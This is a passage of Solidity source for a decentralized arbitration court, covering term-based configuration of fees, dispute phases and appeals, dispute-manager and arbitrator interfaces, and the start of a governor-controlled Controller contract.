Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of tokens guardians have to activate to participate in the Court */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ); /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct); /** * @dev Tell the min active balance config at a certain term * @param _termId Term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256); } contract CourtConfigData { struct Config { FeesConfig fees; // Full fees-related config DisputesConfig disputes; // Full disputes-related config uint256 minActiveBalance; // Minimum amount of tokens guardians have to activate to participate in the Court } struct FeesConfig { IERC20 token; // ERC20 token to be used for the fees of the Court uint16 finalRoundReduction; // Permyriad of fees reduction applied for final appeal round (‱ - 1/10,000) uint256 guardianFee; // Amount of tokens paid to draft a guardian to adjudicate a dispute uint256 draftFee; // Amount of tokens paid per round to cover the costs of drafting guardians uint256 settleFee; // Amount of tokens paid per round to cover the costs of slashing guardians } struct DisputesConfig { uint64 evidenceTerms; // Max submitting evidence period duration in terms uint64 commitTerms; // Committing period duration in terms uint64 revealTerms; // Revealing period duration in terms uint64 appealTerms; // Appealing period duration in terms uint64 appealConfirmTerms; // Confirmation appeal period duration in terms uint16 penaltyPct; // Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) uint64 firstRoundGuardiansNumber; // Number of guardians drafted on first round uint64 appealStepFactor; // Factor in which the guardians number is increased on each appeal uint64 finalRoundLockTerms; // Period a coherent guardian in the final round will remain locked uint256 maxRegularAppealRounds; // Before the final appeal uint256 appealCollateralFactor; // Permyriad multiple of dispute fees required to appeal a preliminary ruling (‱ - 1/10,000) uint256 appealConfirmCollateralFactor; // Permyriad multiple of dispute fees required to confirm appeal (‱ - 1/10,000) } struct DraftConfig { IERC20 feeToken; // ERC20 token to be used for the fees of the Court uint16 penaltyPct; // Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) uint256 draftFee; // Amount of tokens paid per round to cover the costs of drafting guardians } } contract CourtConfig is IConfig, CourtConfigData { using SafeMath64 for uint64; using PctHelpers for uint256; string private constant ERROR_TOO_OLD_TERM = "CONF_TOO_OLD_TERM"; string private constant ERROR_INVALID_PENALTY_PCT = "CONF_INVALID_PENALTY_PCT"; string private constant ERROR_INVALID_FINAL_ROUND_REDUCTION_PCT = "CONF_INVALID_FINAL_ROUND_RED_PCT"; string private constant ERROR_INVALID_MAX_APPEAL_ROUNDS = "CONF_INVALID_MAX_APPEAL_ROUNDS"; string private constant ERROR_LARGE_ROUND_PHASE_DURATION = "CONF_LARGE_ROUND_PHASE_DURATION"; string private constant ERROR_BAD_INITIAL_GUARDIANS_NUMBER = "CONF_BAD_INITIAL_GUARDIAN_NUMBER"; string private constant ERROR_BAD_APPEAL_STEP_FACTOR = "CONF_BAD_APPEAL_STEP_FACTOR"; string private constant ERROR_ZERO_COLLATERAL_FACTOR = "CONF_ZERO_COLLATERAL_FACTOR"; string private constant ERROR_ZERO_MIN_ACTIVE_BALANCE = "CONF_ZERO_MIN_ACTIVE_BALANCE"; // Max number of terms that each of the different adjudication states can last (if lasted 1h, this would be a year) uint64 internal constant MAX_ADJ_STATE_DURATION = 8670; // Cap the max number of regular appeal rounds uint256 internal constant MAX_REGULAR_APPEAL_ROUNDS_LIMIT = 10; // Future term ID in which a config change has been scheduled uint64 private configChangeTermId; // List of all the configs used in the Court Config[] private configs; // List of configs indexed by id mapping (uint64 => uint256) private configIdByTerm; event NewConfig(uint64 fromTermId, uint64 courtConfigId); /** * @dev Constructor function * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ constructor( IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) public { // Leave config at index 0 empty for non-scheduled config changes configs.length = 1; _setConfig( 0, 0, _feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance ); } /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of tokens guardians have to activate to participate in the Court */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ); /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct); /** * @dev Tell the min active balance config at a certain term * @param _termId Term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256); /** * @dev Tell the term identification number of the next scheduled config change * @return Term identification number of the next scheduled config change */ function getConfigChangeTermId() external view returns (uint64) { return configChangeTermId; } /** * @dev Internal to make sure to set a config for the new term, it will copy the previous term config if none * @param _termId Identification number of the new current term that has been transitioned */ function _ensureTermConfig(uint64 _termId) internal { // If the term being transitioned had no config change scheduled, keep the previous one uint256 currentConfigId = configIdByTerm[_termId]; if (currentConfigId == 0) { uint256 previousConfigId = configIdByTerm[_termId.sub(1)]; configIdByTerm[_termId] = previousConfigId; } } /** * @dev Assumes that sender it's allowed (either it's from governor or it's on init) * @param _termId Identification number of the current Court term * @param _fromTermId Identification number of the term in which the config will be effective at * @param _feeToken Address of the token contract that is used to pay for fees. * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ function _setConfig( uint64 _termId, uint64 _fromTermId, IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) internal { // If the current term is not zero, changes must be scheduled at least after the current period. // No need to ensure delays for on-going disputes since these already use their creation term for that. require(_termId == 0 || _fromTermId > _termId, ERROR_TOO_OLD_TERM); // Make sure appeal collateral factors are greater than zero require(_appealCollateralParams[0] > 0 && _appealCollateralParams[1] > 0, ERROR_ZERO_COLLATERAL_FACTOR); // Make sure the given penalty and final round reduction pcts are not greater than 100% require(PctHelpers.isValid(_pcts[0]), ERROR_INVALID_PENALTY_PCT); require(PctHelpers.isValid(_pcts[1]), ERROR_INVALID_FINAL_ROUND_REDUCTION_PCT); // Disputes must request at least one guardian to be drafted initially require(_roundParams[0] > 0, ERROR_BAD_INITIAL_GUARDIANS_NUMBER); // Prevent that further rounds have zero guardians require(_roundParams[1] > 0, ERROR_BAD_APPEAL_STEP_FACTOR); // Make sure the max number of appeals allowed does not reach the limit uint256 _maxRegularAppealRounds = _roundParams[2]; bool isMaxAppealRoundsValid = _maxRegularAppealRounds > 0 && _maxRegularAppealRounds <= MAX_REGULAR_APPEAL_ROUNDS_LIMIT; require(isMaxAppealRoundsValid, ERROR_INVALID_MAX_APPEAL_ROUNDS); // Make sure each adjudication round phase duration is valid for (uint i = 0; i < _roundStateDurations.length; i++) { require(_roundStateDurations[i] > 0 && _roundStateDurations[i] < MAX_ADJ_STATE_DURATION, ERROR_LARGE_ROUND_PHASE_DURATION); } // Make sure min active balance is not zero require(_minActiveBalance > 0, ERROR_ZERO_MIN_ACTIVE_BALANCE); // If there was a config change already scheduled, reset it (in that case we will overwrite last array item). // Otherwise, schedule a new config. if (configChangeTermId > _termId) { configIdByTerm[configChangeTermId] = 0; } else { configs.length++; } uint64 courtConfigId = uint64(configs.length - 1); Config storage config = configs[courtConfigId]; config.fees = FeesConfig({ token: _feeToken, guardianFee: _fees[0], draftFee: _fees[1], settleFee: _fees[2], finalRoundReduction: _pcts[1] }); config.disputes = DisputesConfig({ evidenceTerms: _roundStateDurations[0], commitTerms: _roundStateDurations[1], revealTerms: _roundStateDurations[2], appealTerms: _roundStateDurations[3], appealConfirmTerms: _roundStateDurations[4], penaltyPct: _pcts[0], firstRoundGuardiansNumber: _roundParams[0], appealStepFactor: _roundParams[1], maxRegularAppealRounds: _maxRegularAppealRounds, finalRoundLockTerms: _roundParams[3], appealCollateralFactor: _appealCollateralParams[0], appealConfirmCollateralFactor: _appealCollateralParams[1] }); config.minActiveBalance = _minActiveBalance; configIdByTerm[_fromTermId] = courtConfigId; configChangeTermId = _fromTermId; emit NewConfig(_fromTermId, courtConfigId); } /** * @dev Internal function to get the Court config for a given term * @param _termId Identification number of the term querying the Court config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of guardian tokens that can be activated */ function _getConfigAt(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); FeesConfig storage feesConfig = config.fees; feeToken = feesConfig.token; fees = [feesConfig.guardianFee, feesConfig.draftFee, feesConfig.settleFee]; DisputesConfig storage disputesConfig = config.disputes; roundStateDurations = [ disputesConfig.evidenceTerms, disputesConfig.commitTerms, disputesConfig.revealTerms, disputesConfig.appealTerms, disputesConfig.appealConfirmTerms ]; pcts = [disputesConfig.penaltyPct, feesConfig.finalRoundReduction]; roundParams = [ disputesConfig.firstRoundGuardiansNumber, disputesConfig.appealStepFactor, uint64(disputesConfig.maxRegularAppealRounds), disputesConfig.finalRoundLockTerms ]; appealCollateralParams = [disputesConfig.appealCollateralFactor, disputesConfig.appealConfirmCollateralFactor]; minActiveBalance = config.minActiveBalance; } /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function _getDraftConfig(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); return (config.fees.token, config.fees.draftFee, config.disputes.penaltyPct); } /** * @dev Internal function to get the min active balance config for a given term * @param _termId Identification number of the term querying the min active balance config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Minimum amount of guardian tokens that can be activated at the given term */ function _getMinActiveBalance(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (uint256) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); return config.minActiveBalance; } /** * @dev Internal function to get the Court config for a given term * @param _termId Identification number of the term querying the min active balance config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Court config for the given term */ function _getConfigFor(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (Config storage) { uint256 id = _getConfigIdFor(_termId, _lastEnsuredTermId); return configs[id]; } /** * @dev Internal function to get the Court config ID for a given term * @param _termId Identification number of the term querying the Court config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Identification number of the config for the given terms */ function _getConfigIdFor(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (uint256) { // If the given term is lower or equal to the last ensured Court term, it is safe to use a past Court config if (_termId <= _lastEnsuredTermId) { return configIdByTerm[_termId]; } // If the given term is in the future but there is a config change scheduled before it, use the incoming config uint64 scheduledChangeTermId = configChangeTermId; if (scheduledChangeTermId <= _termId) { return configIdByTerm[scheduledChangeTermId]; } // If no changes are scheduled, use the Court config of the last ensured term return configIdByTerm[_lastEnsuredTermId]; } } /* * SPDX-License-Identifier: MIT */ interface IArbitrator { /** * @dev Create a dispute over the Arbitrable sender with a number of possible rulings * @param _possibleRulings Number of possible rulings allowed for the dispute * @param _metadata Optional metadata that can be used to provide additional information on the dispute to be created * @return Dispute identification number */ function createDispute(uint256 _possibleRulings, bytes calldata _metadata) external returns (uint256); /** * @dev Submit evidence for a dispute * @param _disputeId Id of the dispute in the Court * @param _submitter Address of the account submitting the evidence * @param _evidence Data submitted for the evidence related to the dispute */ function submitEvidence(uint256 _disputeId, address _submitter, bytes calldata _evidence) external; /** * @dev Close the evidence period of a dispute * @param _disputeId Identification number of the dispute to close its evidence submitting period */ function closeEvidencePeriod(uint256 _disputeId) external; /** * @notice Rule dispute #`_disputeId` if ready * @param _disputeId Identification number of the dispute to be ruled * @return subject Subject associated to the dispute * @return ruling Ruling number computed for the given dispute */ function rule(uint256 _disputeId) external returns (address subject, uint256 ruling); /** * @dev Tell the dispute fees information to create a dispute * @return recipient Address where the corresponding dispute fees must be transferred to * @return feeToken ERC20 token used for the fees * @return feeAmount Total amount of fees that must be allowed to the recipient */ function getDisputeFees() external view returns (address recipient, IERC20 feeToken, uint256 feeAmount); /** * @dev Tell the payments recipient address * @return Address of the payments recipient module */ function getPaymentsRecipient() external view returns (address); } /* * SPDX-License-Identifier: MIT */ /** * @dev The Arbitrable instances actually don't require to follow any specific interface. * Note that this is actually optional, although it does allow the Court to at least have a way to identify a specific set of instances. */ contract IArbitrable { /** * @dev Emitted when an IArbitrable instance's dispute is ruled by an IArbitrator * @param arbitrator IArbitrator instance ruling the dispute * @param disputeId Identification number of the dispute being ruled by the arbitrator * @param ruling Ruling given by the arbitrator */ event Ruled(IArbitrator indexed arbitrator, uint256 indexed disputeId, uint256 ruling); } interface IDisputeManager { enum DisputeState { PreDraft, Adjudicating, Ruled } enum AdjudicationState { Invalid, Committing, Revealing, Appealing, ConfirmingAppeal, Ended } /** * @dev Create a dispute to be drafted in a future term * @param _subject Arbitrable instance creating the dispute * @param _possibleRulings Number of possible rulings allowed for the drafted guardians to vote on the dispute * @param _metadata Optional metadata that can be used to provide additional information on the dispute to be created * @return Dispute identification number */ function createDispute(IArbitrable _subject, uint8 _possibleRulings, bytes calldata _metadata) external returns (uint256); /** * @dev Submit evidence for a dispute * @param _subject Arbitrable instance submitting the dispute * @param _disputeId Identification number of the dispute receiving new evidence * @param _submitter Address of the account submitting the evidence * @param _evidence Data submitted for the evidence of the dispute */ function submitEvidence(IArbitrable _subject, uint256 _disputeId, address _submitter, bytes calldata _evidence) external; /** * @dev Close the evidence period of a dispute * @param _subject IArbitrable instance requesting to close the evidence submission period * @param _disputeId Identification number of the dispute to close its evidence submitting period */ function closeEvidencePeriod(IArbitrable _subject, uint256 _disputeId) external; /** * @dev Draft guardians for the next round of a dispute * @param _disputeId Identification number of the dispute to be drafted */ function draft(uint256 _disputeId) external; /** * @dev Appeal round of a dispute in favor of a certain ruling * @param _disputeId Identification number of the dispute being appealed * @param _roundId Identification number of the dispute round being appealed * @param _ruling Ruling appealing a dispute round in favor of */ function createAppeal(uint256 _disputeId, uint256 _roundId, uint8 _ruling) external; /** * @dev Confirm appeal for a round of a dispute in favor of a ruling * @param _disputeId Identification number of the dispute confirming an appeal of * @param _roundId Identification number of the dispute round confirming an appeal of * @param _ruling Ruling being confirmed against a dispute round appeal */ function confirmAppeal(uint256 _disputeId, uint256 _roundId, uint8 _ruling) external; /** * @dev Compute the final ruling for a dispute * @param _disputeId Identification number of the dispute to compute its final ruling * @return subject Arbitrable instance associated to the dispute * @return finalRuling Final ruling decided for the given dispute */ function computeRuling(uint256 _disputeId) external returns (IArbitrable subject, uint8 finalRuling); /** * @dev Settle penalties for a round of a dispute * @param _disputeId Identification number of the dispute to settle penalties for * @param _roundId Identification number of the dispute round to settle penalties for * @param _guardiansToSettle Maximum number of guardians to be slashed in this call */ function settlePenalties(uint256 _disputeId, uint256 _roundId, uint256 _guardiansToSettle) external; /** * @dev Claim rewards for a round of a dispute for guardian * @dev For regular rounds, it will only reward winning guardians * @param _disputeId Identification number of the dispute to settle rewards for * @param _roundId Identification number of the dispute round to settle rewards for * @param _guardian Address of the guardian to settle their rewards */ function settleReward(uint256 _disputeId, uint256 _roundId, address _guardian) external; /** * @dev Settle appeal deposits for a round of a dispute * @param _disputeId Identification number of the dispute to settle appeal deposits for * @param _roundId Identification number of the dispute round to settle appeal deposits for */ function settleAppealDeposit(uint256 _disputeId, uint256 _roundId) external; /** * @dev Tell the amount of token fees required to create a dispute * @return feeToken ERC20 token used for the fees * @return feeAmount Total amount of fees to be paid for a dispute at the given term */ function getDisputeFees() external view returns (IERC20 feeToken, uint256 feeAmount); /** * @dev Tell information of a certain dispute * @param _disputeId Identification number of the dispute being queried * @return subject Arbitrable subject being disputed * @return possibleRulings Number of possible rulings allowed for the drafted guardians to vote on the dispute * @return state Current state of the dispute being queried: pre-draft, adjudicating, or ruled * @return finalRuling The winning ruling in case the dispute is finished * @return lastRoundId Identification number of the last round created for the dispute * @return createTermId Identification number of the term when the dispute was created */ function getDispute(uint256 _disputeId) external view returns (IArbitrable subject, uint8 possibleRulings, DisputeState state, uint8 finalRuling, uint256 lastRoundId, uint64 createTermId); /** * @dev Tell information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @return draftTerm Term from which the requested round can be drafted * @return delayedTerms Number of terms the given round was delayed based on its requested draft term id * @return guardiansNumber Number of guardians requested for the round * @return selectedGuardians Number of guardians already selected for the requested round * @return settledPenalties Whether or not penalties have been settled for the requested round * @return collectedTokens Amount of guardian tokens that were collected from slashed guardians for the requested round * @return coherentGuardians Number of guardians that voted in favor of the final ruling in the requested round * @return state Adjudication state of the requested round */ function getRound(uint256 _disputeId, uint256 _roundId) external view returns ( uint64 draftTerm, uint64 delayedTerms, uint64 guardiansNumber, uint64 selectedGuardians, uint256 guardianFees, bool settledPenalties, uint256 collectedTokens, uint64 coherentGuardians, AdjudicationState state ); /** * @dev Tell appeal-related information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @return maker Address of the account appealing the given round * @return appealedRuling Ruling confirmed by the appealer of the given round * @return taker Address of the account confirming the appeal of the given round * @return opposedRuling Ruling confirmed by the appeal taker of the given round */ function getAppeal(uint256 _disputeId, uint256 _roundId) external view returns (address maker, uint64 appealedRuling, address taker, uint64 opposedRuling); /** * @dev Tell information related to the next round due to an appeal of a certain round given. * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round requesting the appeal details of * @return nextRoundStartTerm Term ID from which the next round will start * @return nextRoundGuardiansNumber Guardians number for the next round * @return newDisputeState New state for the dispute associated to the given round after the appeal * @return feeToken ERC20 token used for the next round fees * @return guardianFees Total amount of fees to be distributed between the winning guardians of the next round * @return totalFees Total amount of fees for a regular round at the given term * @return appealDeposit Amount to be deposit of fees for a regular round at the given term * @return confirmAppealDeposit Total amount of fees for a regular round at the given term */ function getNextRoundDetails(uint256 _disputeId, uint256 _roundId) external view returns ( uint64 nextRoundStartTerm, uint64 nextRoundGuardiansNumber, DisputeState newDisputeState, IERC20 feeToken, uint256 totalFees, uint256 guardianFees, uint256 appealDeposit, uint256 confirmAppealDeposit ); /** * @dev Tell guardian-related information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @param _guardian Address of the guardian being queried * @return weight Guardian weight drafted for the requested round * @return rewarded Whether or not the given guardian was rewarded based on the requested round */ function getGuardian(uint256 _disputeId, uint256 _roundId, address _guardian) external view returns (uint64 weight, bool rewarded); } contract Controller is IsContract, ModuleIds, CourtClock, CourtConfig, ACL { string private constant ERROR_SENDER_NOT_GOVERNOR = "CTR_SENDER_NOT_GOVERNOR"; string private constant ERROR_INVALID_GOVERNOR_ADDRESS = "CTR_INVALID_GOVERNOR_ADDRESS"; string private constant ERROR_MODULE_NOT_SET = "CTR_MODULE_NOT_SET"; string private constant ERROR_MODULE_ALREADY_ENABLED = "CTR_MODULE_ALREADY_ENABLED"; string private constant ERROR_MODULE_ALREADY_DISABLED = "CTR_MODULE_ALREADY_DISABLED"; string private constant ERROR_DISPUTE_MANAGER_NOT_ACTIVE = "CTR_DISPUTE_MANAGER_NOT_ACTIVE"; string private constant ERROR_CUSTOM_FUNCTION_NOT_SET = "CTR_CUSTOM_FUNCTION_NOT_SET"; string private constant ERROR_IMPLEMENTATION_NOT_CONTRACT = "CTR_IMPLEMENTATION_NOT_CONTRACT"; string private constant ERROR_INVALID_IMPLS_INPUT_LENGTH = "CTR_INVALID_IMPLS_INPUT_LENGTH"; address private constant ZERO_ADDRESS = address(0); /** * @dev Governor of the whole system. Set of three addresses to recover funds, change configuration settings and setup modules */ struct Governor { address funds; // This address can be unset at any time. It is allowed to recover funds from the ControlledRecoverable modules address config; // This address is meant not to be unset. It is allowed to change the different configurations of the whole system address modules; // This address can be unset at any time. It is allowed to plug/unplug modules from the system } /** * @dev Module information */ struct Module { bytes32 id; // ID associated to a module bool disabled; // Whether the module is disabled } // Governor addresses of the system Governor private governor; // List of current modules registered for the system indexed by ID mapping (bytes32 => address) internal currentModules; // List of all historical modules registered for the system indexed by address mapping (address => Module) internal allModules; // List of custom function targets indexed by signature mapping (bytes4 => address) internal customFunctions; event ModuleSet(bytes32 id, address addr); event ModuleEnabled(bytes32 id, address addr); event ModuleDisabled(bytes32 id, address addr); event CustomFunctionSet(bytes4 signature, address target); event FundsGovernorChanged(address previousGovernor, address currentGovernor); event ConfigGovernorChanged(address previousGovernor, address currentGovernor); event ModulesGovernorChanged(address previousGovernor, address currentGovernor); /** * @dev Ensure the msg.sender is the funds governor */ modifier onlyFundsGovernor { require(msg.sender == governor.funds, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the modules governor */ modifier onlyConfigGovernor { require(msg.sender == governor.config, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the modules governor */ modifier onlyModulesGovernor { require(msg.sender == governor.modules, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the given dispute manager is active */ modifier onlyActiveDisputeManager(IDisputeManager _disputeManager) { require(!_isModuleDisabled(address(_disputeManager)), ERROR_DISPUTE_MANAGER_NOT_ACTIVE); _; } /** * @dev Constructor function * @param _termParams Array containing: * 0. _termDuration Duration in seconds per term * 1. _firstTermStartTime Timestamp in seconds when the court will open (to give time for guardian on-boarding) * @param _governors Array containing: * 0. _fundsGovernor Address of the funds governor * 1. _configGovernor Address of the config governor * 2. _modulesGovernor Address of the modules governor * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked to each drafted guardians (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 1. appealCollateralFactor Permyriad multiple of dispute fees required to appeal a preliminary ruling * 2. appealConfirmCollateralFactor Permyriad multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ constructor( uint64[2] memory _termParams, address[3] memory _governors, IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) public CourtClock(_termParams) CourtConfig(_feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance) { _setFundsGovernor(_governors[0]); _setConfigGovernor(_governors[1]); _setModulesGovernor(_governors[2]); } /** * @dev Fallback function allows to forward calls to a specific address in case it was previously registered * Note the sender will be always the controller in case it is forwarded */ function () external payable { address target = customFunctions[msg.sig]; require(target != address(0), ERROR_CUSTOM_FUNCTION_NOT_SET); // solium-disable-next-line security/no-call-value (bool success,) = 